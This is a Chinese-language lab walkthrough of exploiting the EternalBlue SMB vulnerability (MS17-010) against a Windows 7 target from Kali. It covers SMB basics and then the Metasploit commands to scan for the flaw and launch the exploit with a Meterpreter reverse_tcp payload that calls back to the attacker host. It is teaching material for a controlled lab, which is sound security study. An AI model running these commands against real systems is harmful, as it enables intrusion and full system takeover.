SMBMS17-010利⽤(CVE-2017-0144永恒之蓝)
⼀、基础知识介绍:
1.何为永恒之蓝?
永恒之蓝(Eternal Blue)爆发于2017年4⽉14⽇晚,是⼀种利⽤Windows系统的SMB协议漏洞来获取系统的最⾼权限,以此来控制被⼊侵的计算机。甚⾄于2017年5⽉12⽇, 不法分⼦通过改造“永恒之蓝”制作了wannacry病毒,使全世界⼤范围内遭受了该病毒,甚⾄波及到学校、⼤型企业、政府等机构,只能通过⽀付⾼额的赎⾦才能恢复出⽂件。不过在该病毒出来不久就被微软通过打补丁修复。
2.什么是SMB协议?
SMB(全称是Server Message Block)是⼀个协议服务器信息块,它是⼀种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享⽂件、打印机、命名管道等资源,电脑上的⽹上邻居就是靠SMB实现的;SMB协议⼯作在应⽤层和会话层,可以⽤在TCP/IP 协议之上,SMB使⽤TCP139端⼝和TCP445端⼝。
3.SMB⼯作原理是什么?
(1):⾸先客户端发送⼀个SMB negport 请求数据报,,并列出它所⽀持的所有SMB的协议版本。服务器收到请求消息后响应请求,并列出希望使⽤的SMB协议版本。如果没有可以使⽤的协议版本则返回0XFFFFH,结束通信。
(2):协议确定后,客户端进程向服务器发起⼀个⽤户或共享的认证,这个过程是通过发送SessetupX请求数据包实现的。客户端发送⼀对⽤户名和密码或⼀个简单密码到服务器,然后通过服务器发送⼀个SessetupX应答数据包来允许或拒绝本次连接。
(3):当客户端和服务器完成了磋商和认证之后,它会发送⼀个Tcon或TconX SMB数据报并列出它想访问的⽹络资源的名称,之后会发送⼀个TconX应答数据报以表⽰此次连接是否接收或拒绝。
(4):连接到相应资源后,SMB客户端就能够通过open SMB打开⼀个⽂件,通过read SMB读取⽂件,通过write SMB写⼊⽂件,通过close SMB关闭⽂件。
⼆、实验环境:
1.使⽤kali 和windows 7旗舰版(kali作为攻击主机,windows 7旗舰版作为靶机),使⽤wireshark进⾏抓包
在被攻击机Win 7中开启SMB1,HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/services/Lanm
anServer/Parameters,新建⼀个DWORD,并将其命名为SMB1,修改它的值为1
2.设置kali 的IP地址为⾃动获取,查看kali  IP地址:ifconfig
可以看到kali 的IP地址是192.168.223.137
3.设置windows 7的IP地址为⾃动获取,查看windows 7的IP地址:ipconfig
可以看见windows 7 的IP地址为192.168.223.141
三、实验步骤:
Metasploit⾥已经集成了该漏洞利⽤脚本,可能使⽤之前需要更新⼀下。
root@kali:~# apt update; apt install metasploit-framework
1.测试两台主机的连通性:⽤kali 去Ping windows 7的主机,来测试连通性:ping  19
2.168.22
3.141
可以看见两台主机连通性良好
2.查看kali 主机数据库是否开启:service postgresql status
由上图可以看出:Active:inactive (dead)说明数据库此时是关闭的;
3.打开kali 主机的数据库: service postgresql start
cve漏洞库4.再次查看kali 主机的数据库:service postgresql status
由上图可以看出:Active:active (exited)说明此时数据库已经打开
5.进⾏msfdb 数据库初始化,配置数据库相关信息:msfdb init
此时就可以进⾏永恒之蓝漏洞扫描,(永恒之蓝利⽤的是ms17_010漏洞,因此到这⼀步之后的任务就是在kali ⾥寻ms17_010漏洞,并且利⽤该漏洞进⾏攻击,获得windows 7 的管理员权限)
6.启动msf:msfconsole
这样就成功进⼊了msf中,如果你的界⾯与该界⾯不同,不必诧异,msf每次都会有⼀个随机的界⾯
7.查看数据库连接情况:在msf命令提⽰符下:db_status(下⾯的msf命令提⽰符也说明了已经进⼊了msf中)
postgresql connected to msf 说明已经成功连接到了msf
8.搜索ms17_010:search ms17_010
⼩提⽰:如果第⼀次输⼊search ms17_010时并没有出现如上图所⽰的界⾯,那么再次输⼊search ms17_010(本⼈当时就是输⼊了两遍才出来如图所⽰界⾯,所以多尝试⼏次)如果多次还是没有发现上述界⾯,那么有可能是kali 版本太低,没有ms17_010漏洞,所以建议安装更新版本的kali
9.使⽤ms17_010模块进⾏漏洞扫描,在此我使⽤的是下⾯两条命令(其他的命令也可以进⾏ms17_010漏洞扫描,但是能否获得系统权限就不得⽽知了,有兴趣可以进⾏实验)
扫描命令:use auxiliary/scanner/smb/smb_ms17_010
攻击命令(后⾯使⽤):use exploit/windows/smb/ms17_010_eternalblue
10.此时如果不知道应该使⽤什么命令,则输⼊options来获得帮助
在此,只关注两个命令:RHOSTS和THREADS,RHOSTS是要扫描的主机(主机段),THREADS是线程,默认是1,开始使⽤线程加快扫描
11.设置扫描的主机或者主机段(由于靶机IP地址是192.168.223.141,因此设置扫描主机段为192.168.223.141/24):set
rhosts 192.168.223.141/24;然后设置扫描线程为20;最后输⼊run执⾏扫描。与此同时,在kali⾥⾯打开wireshark抓包⼯具(新建⼀个终端,输⼊wireshark即可),监听ethO
由上图可以看出,扫描出来存在ms17_010漏洞的主机,也恰好是我的靶机
通过跟踪TCP流,得到了靶机的基本信息:操作系统是windows 7,IP地址是192.168.223.141,协议为SMB2 12.进⾏攻击:use exploit/windows/smb/ms17_010_eternalblue
设置攻击⽬标(靶机):set rhost 192.168.223.141
设置攻击载荷:set payload windows/x64/meterpreter/reverse_tcp
设置监听主机(kali):set lhost 192.168.223.137
利⽤exploit进⾏攻击:exploit
攻击之后如下图所⽰: